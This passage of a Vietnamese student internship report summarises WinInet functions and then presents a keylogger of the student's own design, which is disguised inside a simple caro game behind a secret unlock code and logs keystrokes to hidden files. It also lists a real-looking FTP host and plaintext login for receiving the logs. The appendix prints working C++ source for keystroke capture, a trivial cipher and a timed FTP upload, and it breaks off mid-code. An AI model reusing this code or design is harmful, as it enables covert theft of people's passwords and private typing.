INTERNET_OPEN_TYPE_PRECONFIG_WITH_NO_AUTOPROXY: Lấy proxy hoặc cấu hình trực tiếp từ người đăng ký và ngăn việc sử dụng khởi động Microsoft JScript hoặc cài đặt Internet (INS) tập tin.

INTERNET_OPEN_TYPE_PROXY: Thông qua yêu cầu đến proxy trừ khi một danh sách bỏ qua proxy được cung cấp và các tên được giải quyết bỏ qua proxy. Trong trường hợp này, các chức năng sử dụng INTERNET_OPEN_TYPE_DIRECT.

lpszProxyName [in]: Con trỏ trỏ đến một chuỗi null-chấm dứt chỉ định tên của máy chủ proxy (s) để sử dụng khi truy cập proxy được xác định bằng cách thiết lập

SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 11

Page 15: Tìm hiểu keylogger và thiết kế chương trình keylogger

BÁO CAO TTTN ĐẠI HỌC CHƯƠNG II. GIỚI THIỆU

dwAccessType INTERNET_OPEN_TYPE_PROXY. Không sử dụng một chuỗi rỗng, bởi vì InternetOpen sẽ sử dụng nó như là tên proxy. Các chức năng WinInet chỉ nhận ra loại CERN proxy (HTTP chỉ ) và là cửa ngõ TIS FTP ( FTP ). Nếu Microsoft Internet Explorer được cài đặt, các chức năng này cũng hỗ trợ SOCKS proxy. Yêu cầu FTP có thể được thực hiện thông qua một loại CERN chủ proxy hoặc bằng cách thay đổi chúng bằng một yêu cầu HTTP hoặc bằng cách sử dụng InternetOpenUrl .

Nếu dwAccessType không được thiết lập để INTERNET_OPEN_TYPE_PROXY, tham số này được bỏ qua và phải là NULL. Để biết thêm thông tin về danh sách các máy chủ proxy, xem phần máy chủ liệt kê Proxy của Kích hoạt chức năng Internet .

lpszProxyBypass [in]: Con trỏ trỏ đến một chuỗi null-chấm dứt chỉ định một danh sách tùy chọn tên máy chủ hoặc địa chỉ IP hoặc cả hai, không nên định tuyến thông qua các proxy khi dwAccessType được thiết lập để INTERNET_OPEN_TYPE_PROXY. Danh sách có thể chứa ký tự đại diện . Không sử dụng một chuỗi rỗng, bởi vì InternetOpen sẽ sử dụng nó như là danh sách bỏ qua proxy. Nếu tham số này xác định "<local> " macro thì hàm bỏ qua các proxy cho bất kỳ tên máy chủ mà không có một khoảng thời gian .

Theo mặc định, WinInet sẽ bỏ qua proxy cho các yêu cầu sử dụng các tên máy " localhost", " loopback " , "127.0.0.1" , hoặc " [ :: 1 ] ". Hành vi này tồn tại bởi vì một máy chủ proxy từ xa thông thường sẽ không giải quyết được những địa chỉ đúng.

Internet Explorer 9 : Chúng ta có thể loại bỏ các máy tính cục bộ từ danh sách bỏ qua proxy sử dụng các " < - loopback > " macro .

Nếu dwAccessType không được thiết lập để INTERNET_OPEN_TYPE_PROXY, tham số này được bỏ qua và phải là NULL.

dwFlags [in]: Tùy chọn, tham số này có thể là một sự kết hợp của các giá trị sau.

INTERNET_FLAG_ASYNC: Chỉ yêu cầu không đồng bộ trên handle có nguồn gốc từ xử lý trở về từ hàm này.

INTERNET_FLAG_FROM_CACHE: Không thực hiện các yêu cầu mạng. Tất cả các đơn vị được trả về từ bộ nhớ cache. Nếu các yêu cầu không có trong bộ nhớ cache, một lỗi thích hợp, chẳng hạn như ERROR_FILE_NOT_FOUND, được trả về.

INTERNET_FLAG_OFFLINE: Giống INTERNET_FLAG_FROM_CACHE không thực hiện các yêu cầu mạng. Tất cả các đơn vị được trả về từ bộ nhớ cache . Nếu các yêu cầu không có trong bộ nhớ cache, một lỗi thích hợp, chẳng hạn như ERROR_FILE_NOT_FOUND được trả về.

SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 12

Page 16: Tìm hiểu keylogger và thiết kế chương trình keylogger

BÁO CAO TTTN ĐẠI HỌC CHƯƠNG II. GIỚI THIỆU

2.1.3.2 InternetConnect function : Hàm này sử dụng thư viện Wininet.lib Để cho các trang web FTP, InternetConnect thực sự thiết lập một kết nối tới máy chủ. Kết nối thực tế không được thành lập cho đến khi ứng dụng yêu cầu một giao dịch cụ thể .

Cú pháp của hàm này như sau:

HINTERNET InternetConnect(

_In_ HINTERNET hInternet,

_In_ LPCTSTR lpszServerName,

_In_ INTERNET_PORT nServerPort,

_In_ LPCTSTR lpszUsername,

_In_ LPCTSTR lpszPassword,

_In_ DWORD dwService,

_In_ DWORD dwFlags,

_In_ DWORD_PTR dwContext

);

Chi tiết các tham số như sau:

hInternet [in]: Handle được trả về bởi một cuộc gọi trước đến InternetOpen .

lpszServerName [in]: Con trỏ trỏ đến một chuỗi null-chấm dứt chỉ định tên máy chủ của một máy chủ Internet. Thay vào đó, các chuỗi có thể chứa số IP của trang web, trong ASCII định dạng chấm thập phân (ví dụ , 11.0.1.45 ) .

nServerPort [in]: Cổng trên máy chủ Transmission Control Protocol hoặc Internet Protocol (TCP / IP). Các flag thiết lập cho cổng được sử dụng. Dịch vụ này được thiết lập bởi giá trị của dwService. Tham số này có thể là một trong những giá trị sau.

INTERNET_DEFAULT_FTP_PORT: Sử dụng cổng mặc định cho các máy chủ FTP (port 21).

INTERNET_DEFAULT_GOPHER_PORT: Sử dụng cổng mặc định cho các máy chủ Gopher (port 70 ) .

Lưu ý Windows XP và Windows Server 2003 R2 và trước đó chỉ .

INTERNET_DEFAULT_HTTP_PORT: Sử dụng cổng mặc định cho các máy chủ HTTP ( cổng 80 ) .

INTERNET_DEFAULT_HTTPS_PORT: Sử dụng cổng mặc định cho an toàn Hypertext Transfer Protocol (HTTPS) máy chủ ( cổng 443 ) .

INTERNET_DEFAULT_SOCKS_PORT: Sử dụng cổng mặc định cho máy chủ SOCKS tường lửa (port 1080).

INTERNET_INVALID_PORT_NUMBER: Sử dụng cổng mặc định cho các dịch vụ theo quy định của dwService

SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 13

Page 17: Tìm hiểu keylogger và thiết kế chương trình keylogger

BÁO CAO TTTN ĐẠI HỌC CHƯƠNG II. GIỚI THIỆU

lpszUsername [in]: Con trỏ trỏ đến một chuỗi null-chấm dứt chỉ định tên của người sử dụng để đăng nhập vào. Nếu tham số này là NULL, hàm sử dụng một mặc định thích hợp. Đối với các giao thức FTP, mặc định là "vô danh" .

lpszPassword [in]: Con trỏ trỏ đến một chuỗi null-chấm dứt có chứa mật khẩu sử dụng để đăng nhập vào. Nếu cả hai lpszPassword và lpszUsername là NULL, chức năng sử dụng mặc định "vô danh" mật khẩu. Trong trường hợp của FTP, mật khẩu mặc định là tên email của người dùng. Nếu lpszPassword là NULL, nhưng lpszUsername không phải là NULL, chức năng sử dụng một mật khẩu trống.

dwService [in]: Loại hình dịch vụ truy cập, tham số này có thể là một trong những giá trị sau.

INTERNET_SERVICE_FTP: Dịch vụ FTP.

INTERNET_SERVICE_GOPHER: Dịch vụ Gopher .

Lưu ý Windows XP và Windows Server 2003 R2 và trước đó chỉ .

INTERNET_SERVICE_HTTP:Dich vụ HTTP.

dwFlags [in]: Tùy chọn cụ thể cho các dịch vụ sử dụng nếu dwService là INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE các ứng dụng để sử dụng ngữ nghĩa FTP mặc định .

dwContext [in]: Con trỏ trỏ đến một biến có chứa một giá trị ứng dụng xác định được sử dụng để xác định bối cảnh ứng dụng cho điều khiển trả về trong callbacks.

2.1.3.3 InternetWriteFile function : Hàm này sử dụng thư viện Wininet.lib Khi ứng dụng được gửi dữ liệu, nó phải gọi hàm InternetCloseHandle để kết thúc truyền dữ liệu.

Lưu ý WinInet không hỗ trợ triển khai máy chủ. Ngoài ra, nó không nên được sử dụng từ một dịch vụ cho việc triển khai dịch vụ máy chủ sử dụng Microsoft Windows HTTP Services ( WinHTTP ) .

Cú pháp của hàm InternetWriteFile như sau:

BOOL InternetWriteFile(

_In_ HINTERNET hFile,

_In_ LPCVOID lpBuffer,

_In_ DWORD dwNumberOfBytesToWrite,

_Out_ LPDWORD lpdwNumberOfBytesWritten

);

Ý nghĩa của các tham số như sau:

hFile [in]: Handle được trả về từ một cuộc gọi trước để FtpOpenFile hoặc một HINTERNET xử lý gửi HttpSendRequestEx .

lpBuffer [in]: Con trỏ trỏ đến một bộ đệm có chứa các dữ liệu được ghi vào tập tin

dwNumberOfBytesToWrite [in]: Số byte được ghi vào tập tin.

SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 14

Page 18: Tìm hiểu keylogger và thiết kế chương trình keylogger

BÁO CAO TTTN ĐẠI HỌC CHƯƠNG II. GIỚI THIỆU

lpdwNumberOfBytesWritten [out]: Con trỏ trỏ đến một biến nhận được số byte ghi vào tập tin. InternetWriteFile đặt giá trị này bằng không trước khi làm bất cứ công việc hay kiểm tra lỗi .

Giá trị hàm này trả về như sau : Trả về TRUE nếu hàm thành công , hoặc FALSE khác. Để có được thông tin lỗi mở rộng, gọi GetLastError. Một ứng dụng cũng có thể sử dụng InternetGetLastResponseInfo khi cần thiết.

2.1.3.4 FtpOpenFile function : Hàm này sử dụng thư viện Wininet.lib. Sau khi gọi hàm FtpOpenFile và cho đến khi gọi InternetCloseHandle, tất cả các cuộc gọi khác đến FTP và cùng một phiên xử lý sẽ thất bại và thiết lập các thông báo lỗi để ERROR_FTP_TRANSFER_IN_PROGRESS. Sau khi ứng dụng gọi đã kết thúc bằng cách sử dụng HINTERNET xử lý trả về bởi FtpOpenFile, nó phải được đóng lại bằng cách sử dụng hàm InternetCloseHandle .

Chỉ có một tập tin có thể được mở trong một phiên FTP duy nhất. Do đó, không xử lý tập tin được trả về và các ứng dụng chỉ đơn giản là sử dụng FTP phiên xử lý khi cần thiết.

Cú pháp hàm này như sau:

HINTERNET FtpOpenFile(

_In_ HINTERNET hConnect,

_In_ LPCTSTR lpszFileName,

_In_ DWORD dwAccess,

_In_ DWORD dwFlags,

_In_ DWORD_PTR dwContext

);

Ý nghĩa của các tham số như sau:

hConnect [in]:Handle của một phiên FTP (session).

lpszFileName [in]: Con trỏ trỏ đến một chuỗi null-chấm dứt có chứa tên của tập tin được truy cập.

dwAccess [in]: Kiểu truy cập. Tham số này có thể GENERIC_READ hoặc GENERIC_WRITE, nhưng không được là cả hai.

dwFlags [in]: Điều kiện trong khi truyền tải xảy ra. Ứng dụng nên chọn một loại chuyển giao và bất kỳ cờ mà chỉ ra bộ nhớ đệm của các tập tin sẽ được kiểm soát .

Loại chuyển giao có thể là một trong những giá trị sau.

FTP_TRANSFER_TYPE_ASCII: Chuyển các tập tin bằng cách sử dụng FTP của ASCII ( Type A) phương pháp chuyển giao. Kiểm soát và thông tin định dạng được chuyển đổi để tương đương.

SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 15

Page 19: Tìm hiểu keylogger và thiết kế chương trình keylogger

BÁO CAO TTTN ĐẠI HỌC CHƯƠNG II. GIỚI THIỆU

FTP_TRANSFER_TYPE_BINARY: Chuyển các tập tin bằng cách sử dụng FTP cho hình ảnh ( loại I ) phương pháp chuyển giao. Các tập tin được chuyển chính xác như nó tồn tại không thay đổi. Đây là phương pháp chuyển file mặc định .

FTP_TRANSFER_TYPE_UNKNOWN: Mặc định là FTP_TRANSFER_TYPE_BINARY .

INTERNET_FLAG_TRANSFER_ASCII: Truyền tập tin như ASCII.

INTERNET_FLAG_TRANSFER_BINARY: Truyền các tập tin như nhị phân.

Các giá trị sau được sử dụng để kiểm soát bộ nhớ đệm của tập tin. Ứng dụng có thể sử dụng một hoặc nhiều các giá trị.

INTERNET_FLAG_HYPERLINK: Buộc tải lại nếu hết thời gian và không có thời gian lastmodified trở về từ máy chủ, để biết cần tải lại các mục từ mạng.

INTERNET_FLAG_NEED_FILE: Một tập tin tạm thời được tạo ra nếu các tập tin không được lưu trữ.

INTERNET_FLAG_RELOAD: Buộc tải về các tập tin được yêu cầu, đối tượng, hoặc danh sách thư mục từ máy chủ gốc, không phải từ bộ nhớ cache.

INTERNET_FLAG_RESYNCHRONIZE: Tải lại nguồn HTTP nếu nguồn tài nguyên đã được sửa đổi kể từ lần cuối cùng nó đã được tải về. Tất cả các tài nguyên FTP được nạp lại.

Windows XP và Windows Server 2003 R2 và trước đó : Nguồn Gopher cũng được nạp lại.

dwContext [in]: Con trỏ trỏ đến một biến có chứa các giá trị ứng dụng định nghĩa liên kết tìm kiếm này với bất kỳ dữ liệu ứng dụng nào. Điều này chỉ được sử dụng nếu ứng dụng đã được gọi là InternetSetStatusCallback để thiết lập một chức năng trạng thái gọi lại.

Giá trị trả về từ hàm này: Trả về một handle nếu thành công, hoặc NULL nếu khác. Để lấy một thông báo lỗi cụ thể gọi GetLastError .

2.2 Kết quả của chương trình keylogger

Ý tưởng :Lấy được thông tin nhập từ bàn phím. Sau khi lấy được các ký tự này sẽ được ghi vào trong một file (thường được hiểu là file log). File này sẽ được mã hóa dựa vào thuật toán đối xứng và theo kiểu mã hóa thay thế. Khi user bấm 1 phím bất kỳ trên bàn phím ký tự này sẽ được đổ vào một file chưa mã hóa sau đó dựa vào file này từng ký tự sẽ được đổ vào file mã hóa dựa vào mã hóa thay thế và key mặc định mang giá tri INT. Tới đây chương trình Keylogger đã tạo được 1 file log mã hóa. Việc tiếp theo đó là sử dụng file log này gửi về một FTP server chúng ta có đăng ký tài khoản sẵn tại FTP server. Để file log có thể gửi đến FTP server của chúng ta cần cung cấp URL của FTP server, username, password. Trong chương trình này chúng ta có sử FTP server: ftp.driverhq.com

Username:freedomelem

SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 16

Page 20: Tìm hiểu keylogger và thiết kế chương trình keylogger

BÁO CAO TTTN ĐẠI HỌC CHƯƠNG II. GIỚI THIỆU

Password:123456

Mục đích của việc đăng ký tài khoản là để lấy được file log gửi đến FTP server và chúng ta có thể đọc thông tin bất kỳ đâu có internet. File log được gửi đến FTP Server với tên là Ngày_tháng_giờ _phút _giây để tiện cho việc theo dõi ngày ghi và giờ ghi file log. Ví du: Logdate_29Jul_time_114112.txt

Một đăc điểm của chương trình nữa đó là có thể thay đổi thời gian gửi về FTP Server của chúng ta. Cứ đến khoảng thời gian đó thì file log sẽ được gửi về FTP server.

Vì chương trình hiện tạo có mục đích để theo dõi và bắt các lỗi nên em có làm giao diện để thao tác và truyền tham số đầu vào.

SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 17

Page 21: Tìm hiểu keylogger và thiết kế chương trình keylogger

BÁO CAO TTTN ĐẠI HỌC CHƯƠNG III. DEMO CHƯƠNG TRINH

CHƯƠNG III .DEMO CHƯƠNG TRÌNH KEYLOGGER

3.1 Giao diện trò chơi che giấu chương trình Keylogger

Một game đơn giản để che giấu chương trình Keylogger.

Hình3.1.Giao diện trò chơi che giấu Keylogger

Do em viết trên DevC++ nên trò chơi chỉ ở mức đơn giản và không có đồ họa đẹp mắt. Mục đích của việc này là để che giấu mã nguồn của Keylogger và do thời gian thực tập quá ngắn em hiện chưa làm được việc vừa chạy game này song song với chạy Keylogger. Để vào giao diện chính của chương trình Keylogger cần bấm một chuỗi dãy số giống như một chìa khóa hay còn gọi là key. Key em đặt mặc định là: 543678. Sau khi nhập dãy số này và nhấn Enter sẽ vào chương trình Keylogger bình thường. Keylogger có giao diện chính như hình 3.2 bên dưới.

SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 18

Page 22: Tìm hiểu keylogger và thiết kế chương trình keylogger

BÁO CAO TTTN ĐẠI HỌC CHƯƠNG III. DEMO CHƯƠNG TRINH

3.2 Giao diện chính của chương trình keylogger

Chương trình sẽ có giao diện chính như sau :

Hình 3.2 .Giao diện chính của chương trình Keylogger

Thoạt nhìn giao diện này chúng ta có thể thấy được sơ lược các chức năng của chương trình. Chương trình có ba chức năng chính. Chức năng thứ nhất gồm có khởi tạo file cho file log và ftp server để nhận file log.

Chức năng thứ 2 là để chạy Keylogger và chức năng cuối cùng là để quay lại trò chơi cờ caro.

3.3 Thao tác thiết lập cho ftp Server

Sau khi chọn chức năng 1 thì một cửa sổ mới sẽ được hiện ra để thao tác các chức năng trên FTP server. Giao diện chi tiết như sau:

Hình 3.3.Giao diện tạo ftp server

SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 19

Page 23: Tìm hiểu keylogger và thiết kế chương trình keylogger

BÁO CAO TTTN ĐẠI HỌC CHƯƠNG III. DEMO CHƯƠNG TRINH

Sau khi nhấn phím 1 và Enter ở hình 3.2 chương trình có một giao diện mới như hình 3.3. Sau đó chúng ta chọn chức năng 1 sẽ hiện ra 1 giao diện mới để nhập các tham số cho Ftp Server .

Tham số bao gồm có : Tên host, username và password.

Kết quả điền tham số như sau: Nhập tên host là bước đầu tiên, để nhâp tên host chúng ta cần tìm một số trang web hỗ trợ tạo Ftp server cho truyền tải và nhận file của chúng ta, Nhập username và Password. Để cố 2 tham số này cần chúng ta đăng ký 1 tài khoản tại Ftp Server. Sau cùng là nhấn phím 5 và enter để trở về giao diên hình 3.3 và nhấn tiếp phím 2 để trở về giao diện hình 3.2.

Kết quả của việc khới tạo giống như hình 3.4 phía dưới đây:

Hình 3.4.Thiết lập tham số cho Ftp server

3.4 Khởi tạo file log

Chương trình có sử dụng một cặp file để chứa các phím đã được ấn từ bàn phím. Một file chứa giá trị phím được ấn và file kia sẽ mã hóa và lưu lại ngay sau khi có một giá trị bất kỳ từ file gốc này. Chương trình em có sử dụng tạo cặp file và thư mục chưa file măc định như sau:

Thư mục: e:/son File log: e:\\son\\decrypt.txt và e:\\son\\encrypt.txt Thư mục chứa 2 file log này được lưu trữ dạng ẩn file.

Kết quả của việc tạo thư mục như hình 3.5. Để có thư mục này thì cần phải chạy Keylogger ngay lập tức thư mục và file log ghi lại sẽ được tạo ra.

SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 20

Page 24: Tìm hiểu keylogger và thiết kế chương trình keylogger

BÁO CAO TTTN ĐẠI HỌC CHƯƠNG III. DEMO CHƯƠNG TRINH

Hình 3.5. Tạo thư mục và file

3.5 Kết quả chạy chương trình Keylogger

Tại giao diện hình 3.2 sau khi chúng ta khởi tạo tất cả các tham số như các bước trên hoàn tất chúng ta nhấn phím 2 để keylogger bắt đầu hook keybroad. Chương trình có hẹn giờ nhất định để gửi file log về Ftp Server của chúng ta (trong chương trình em hẹn thời gian gửi file log về Ftp Server là 1 phút(60s)). Sau 1 phút sẽ có 1 thông báo hiện lên để thông báo kết quả gửi file log .

Kết quả chạy chương trình như sau:

Hình 3.6 .Kết quả chạy chương trình Keylogger .

SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 21

Page 25: Tìm hiểu keylogger và thiết kế chương trình keylogger

BÁO CAO TTTN ĐẠI HỌC KẾT LUẬN

KẾT LUẬN

Qua quãng thời gian làm đề tài này em đã có thêm thật nhiều kiến thức mới mẻ và thú vị . Cùng với những kiến thức cơ bản về HĐH windows song song với quá trình tìm hiểu về Keylogger, để dựa vào những kiến thức nền tảng và đầy tính chất mang tính thực tiễn em viết một chương trình Keylogger đơn giản với mục đích giám sát.

Kết quả đạt được: Do thời gian thực trong một khoảng thời gian ngắn và em chưa có hiểu biết sâu về HĐH windows cùng một số thư viện cũng như các hàm cần thiết. Em đã viết được một chương trình Keylogger. Keylogger hiện tại mới ở mức độ đơn giản mới chỉ có thể mã hóa file log với thuật toán mã hóa đối xứng thay thế, sau đó file log này sẽ được gửi tới ftp server với một tài khoản được em đăng ký từ trước. File log này sẽ được gửi tới ftp server cứ sau một khoảng thời gian do em thiết lập.

Tương lai phát triển : Trong tương lai em sẽ cố gắng hoàn thiện thêm một số chức năng nữa cho Keylogger, để Keylogger này tuy chỉ dùng với mục đích giám sát nhưng sẽ hiệu quả và mang tính chất thực tiễn tốt hơn. Trong quá trình thực hiện đề tài, dù đã rất cố gắng, nhưng do trình độ, kiến thức, thời gian còn nhiều hạn chế, không thể tránh khỏi những thiếu sót trong lúc thực hiện. Em rất mong được sử đóng góp ý kiến, sửa chữa, và định hướng phát triển đề tài được hoàn thiện hơn. Rất cám ơn thầy cô đã dành thời gian để đọc và đánh giá đề tài.

SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 22

Page 26: Tìm hiểu keylogger và thiết kế chương trình keylogger

BÁO CAO TTTN ĐẠI HỌC PHỤ LỤC

PHỤ LỤC

Code mã hóa và giải mã cho file log:

void Ma_hoa(void) { fflush(stdin); int e,c; FILE *file; FILE *file1; if((file1=fopen(filename1,"a+"))==NULL) {cout<<"ERROR: KHONG MO DUOC TEP FILE 1 CUA BAN \n"<<endl;} if((file=fopen(filename,"r"))==NULL) {cout<<"ERROR: KHONG MO DUOC TEP FILE CUA BAN \n"<<endl;} else { fseek(file,0,SEEK_SET); while((c = fgetc(file)) != EOF){

e=c+key;

fputc(e,file1); }

fclose(file); fclose(file1); file=fopen(filename,"w"); fclose(file); }}

SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 23

Page 27: Tìm hiểu keylogger và thiết kế chương trình keylogger

BÁO CAO TTTN ĐẠI HỌC PHỤ LỤC

void Giai_ma(void) { fflush(stdin); int e,c; FILE *file; FILE *file1; if((file1=fopen(filename1,"r"))==NULL) { cout<<"ERROR: KHONG MO DUOC TEP FILE 1 CUA BAN \n"<<endl; } if((file=fopen(filename,"a+"))==NULL) { cout<<"ERROR: KHONG MO DUOC TEP FILE CUA BAN \n"<<endl; } else { fseek(file1,0,SEEK_SET); while((c = fgetc(file1)) != EOF) { e=c-key; fputc(e,file); } fclose(file); fclose(file1); }}

Code gửi file log tới Ftp Server:

void Kiem_tra() {

clrscr(); HINTERNET Open; HINTERNET Connect;

SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 24

Page 28: Tìm hiểu keylogger và thiết kế chương trình keylogger

BÁO CAO TTTN ĐẠI HỌC PHỤ LỤC

HINTERNET File; time_t now=time(0); char *dt =ctime(&now);/********************************************************************/ time_t rawtime; struct tm * timeinfo; char buffer1 [80]; string name;

time ( &rawtime ); timeinfo = localtime ( &rawtime );

strftime (buffer1,80,"Logdate_%d%b_time_%H%M%S.txt",timeinfo); name=string(buffer1);

/********************************************************************/ int i=2; textcolor(WHITE); gotoxy(1,1); cout<<"************************** "; textcolor(LIGHTMAGENTA); cout<<" Ket qua chay Keylogger " ; textcolor(WHITE); cout<<" **************************"; for(i=2;i<=35;i++) { gotoxy(1,i); cout<<"*"; } for(i=2;i<=35;i++) { gotoxy(78,i); cout<<"*"; } gotoxy(1,36);

SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 25

Page 29: Tìm hiểu keylogger và thiết kế chương trình keylogger

BÁO CAO TTTN ĐẠI HỌC PHỤ LỤC

cout<<"************************************************************”;

gotoxy(10,3); textcolor(LIGHTBLUE); cout<<"Thoi gian bat dau gui file toi server :"<<dt<<endl; if((Open=InternetOpen("", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, INTERNET_FLAG_PASSIVE))!=NULL)//chuan bi cho viec giao tiep voi proxy server { textcolor(LIGHTCYAN); gotoxy(30,5); cout<<"Chuan bi cho ket noi thanh cong!\n"; } else { textcolor(LIGHTCYAN); gotoxy(30,5); cout<<"Chuan bi cho ket noi that bai !\n"; return ; } if((Connect=InternetConnect(Open,hostname.c_str(),INTERNET_DEFAULT_FTP_PORT,username.c_str(),password.c_str(),INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0))!=NULL) { textcolor(LIGHTCYAN); gotoxy(30,7); cout<<"Dang nhap thanh cong !\n"; } else { textcolor(LIGHTCYAN); gotoxy(30,7); cout<<"Dang nhap that bai \n"; return; } if((File=FtpOpenFile(Connect,name.c_str(), GENERIC_WRITE, FTP_TRANSFER_TYPE_ASCII, 0))!=NULL) {

SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 26

Page 30: Tìm hiểu keylogger và thiết kế chương trình keylogger

BÁO CAO TTTN ĐẠI HỌC PHỤ LỤC

textcolor(LIGHTCYAN); gotoxy(30,9); cout<<"Mo file thanh cong!"; } else { textcolor(LIGHTCYAN); gotoxy(30,9); cout<<"Mo file that bai !"; } //khai bao cac tham so can su dung trong viec gui file len ftp server FILE * pFile; long lSize; char * buffer; size_t result; Giai_ma(); pFile = fopen ( filename,"rb");

if (pFile==NULL) { textcolor(LIGHTCYAN); gotoxy(30,11); cout<<" Mo file bi loi !"; }

// obtain file size: fseek (pFile , 0 , SEEK_END); lSize = ftell (pFile); rewind (pFile);

// allocate memory to contain the whole file: buffer = (char*) malloc (sizeof(char)*lSize); if (buffer == NULL) { textcolor(LIGHTCYAN); gotoxy(30,13); cout<<"Cap phat bo nho bi loi!" ; }

SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 27

Page 31: Tìm hiểu keylogger và thiết kế chương trình keylogger

BÁO CAO TTTN ĐẠI HỌC PHỤ LỤC

// copy the file into the buffer: result = fread (buffer,1,lSize,pFile); if (result != lSize) { textcolor(LIGHTCYAN); gotoxy(30,15); cout<<"Coppy file vao buff bi loi";

} // terminate DWORD wb = 0;//set=0 before run program BOOL Success = InternetWriteFile(File,buffer, strlen(buffer), &wb); if(!Success) { textcolor(LIGHTCYAN); gotoxy(30,17); cout<<"Internet write file bi loi !"; } else { if(pFile!=NULL&&buffer != NULL&&result == lSize) { textcolor(LIGHTCYAN); gotoxy(30,11); cout<<"Upload file thanh cong !\n"; } else { textcolor(LIGHTCYAN); gotoxy(30,19); cout<<"Upload file thanh cong !\n"; } } fclose (pFile); pFile = fopen ( filename1,"w"); fclose(pFile); pFile = fopen ( filename,"w");

SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 28

Page 32: Tìm hiểu keylogger và thiết kế chương trình keylogger

BÁO CAO TTTN ĐẠI HỌC PHỤ LỤC

fclose(pFile); InternetCloseHandle(Open); }

Code ghi file log các phím đã được ấn

int key_event() { clrscr(); timer t; t.start(); short character; FILE *file; if((file=fopen(filename,"a+"))==NULL) { gotoxy(1,13); textcolor(LIGHTCYAN);

cout<<" => Loi mo file de ghi log can khai bao buoc 1! <= \n";

system("pause"); // break; } else { time_t theTime=time(0); fputs(" Bat dau ghi file log vao : ", file); fputs(ctime(&theTime),file); fclose(file); } Ma_hoa(); while(true) { if(t.getTime()==60) { Kiem_tra(); t.reset(); } if(t.getTime()!=60)

{

SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 29

Page 33: Tìm hiểu keylogger và thiết kế chương trình keylogger

BÁO CAO TTTN ĐẠI HỌC PHỤ LỤC

for(character=8;character<=222;character++) { if(GetAsyncKeyState(character)==-32767) { FILE *file; file=fopen(filename,"a+"); if(file==NULL) { return 1; } if(file!=NULL) { if((character>=39)&&(character<=64)) { fputc(character,file); fclose(file); Ma_hoa(); break; } else if((character>64)&&(character<91)) { character+=32; fputc(character,file); fclose(file); Ma_hoa(); break; } else { switch(character) { case VK_SPACE: fputc(' ',file); fclose(file); Ma_hoa(); break; case VK_SHIFT: fputs("\r\n[SHIFT]\r\n",file);

SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 30

Page 34: Tìm hiểu keylogger và thiết kế chương trình keylogger

BÁO CAO TTTN ĐẠI HỌC PHỤ LỤC

fclose(file); Ma_hoa(); break; case VK_RETURN: fputs("\r\n[ENTER]\r\n",file); fclose(file); Ma_hoa(); break; case VK_BACK: fputs("\r\n[BACKSPACE]\r\n",file); fclose(file); Ma_hoa(); break; case VK_TAB: fputs("\r\n[TAB]\r\n",file); fclose(file); Ma_hoa(); break; case VK_CONTROL: fputs("\r\n[CTRL]\r\n",file); fclose(file); Ma_hoa(); break; case VK_DELETE: fputs("\r\n[DEL]\r\n",file); fclose(file); Ma_hoa(); break; case VK_INSERT : fputs("\r\n[INSERT]\r\n",file); fclose(file); Ma_hoa(); break; case VK_ESCAPE : fputs("\r\n[ESCAPE]\r\n",file); fclose(file); Ma_hoa(); break;

SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 31

Page 35: Tìm hiểu keylogger và thiết kế chương trình keylogger

BÁO CAO TTTN ĐẠI HỌC PHỤ LỤC

case VK_OEM_1: if(GetAsyncKeyState(VK_SHIFT)) { fputs(":",file); fclose(file); Ma_hoa(); } else { fputs(";",file); fclose(file); Ma_hoa(); } break; case VK_OEM_2: if(GetAsyncKeyState(VK_SHIFT)) { fputs("?",file); fclose(file); Ma_hoa(); } else { fputs("/",file); fclose(file); Ma_hoa(); } break; case VK_OEM_3: if(GetAsyncKeyState(VK_SHIFT)) { fputs("~",file); fclose(file); Ma_hoa(); } else { fputs("`",file);

SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 32

Page 36: Tìm hiểu keylogger và thiết kế chương trình keylogger

BÁO CAO TTTN ĐẠI HỌC PHỤ LỤC

fclose(file); Ma_hoa(); } break; case VK_OEM_4: if(GetAsyncKeyState(VK_SHIFT)) { fputs("{",file); fclose(file); Ma_hoa(); } else { fputs("[",file); fclose(file); Ma_hoa(); } break; case VK_OEM_5: if(GetAsyncKeyState(VK_SHIFT)) { fputs("|",file); fclose(file); Ma_hoa(); } else { fputs("\\",file); fclose(file); Ma_hoa(); } break; case VK_OEM_6: if(GetAsyncKeyState(VK_SHIFT)) { fputs("}",file); fclose(file); Ma_hoa();

SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 33

Page 37: Tìm hiểu keylogger và thiết kế chương trình keylogger

BÁO CAO TTTN ĐẠI HỌC PHỤ LỤC

} else { fputs("]",file); fclose(file); Ma_hoa(); } break; case VK_OEM_7: if(GetAsyncKeyState(VK_SHIFT)) { fputs("\"",file); fclose(file); Ma_hoa(); } else { fputs("'",file); fclose(file); Ma_hoa(); } break; case 187: fputc('+',file); fclose(file); Ma_hoa(); break; case 188: fputc(',',file); fclose(file); Ma_hoa(); break; case 189: fputc('-',file); fclose(file); Ma_hoa(); break; case 190:

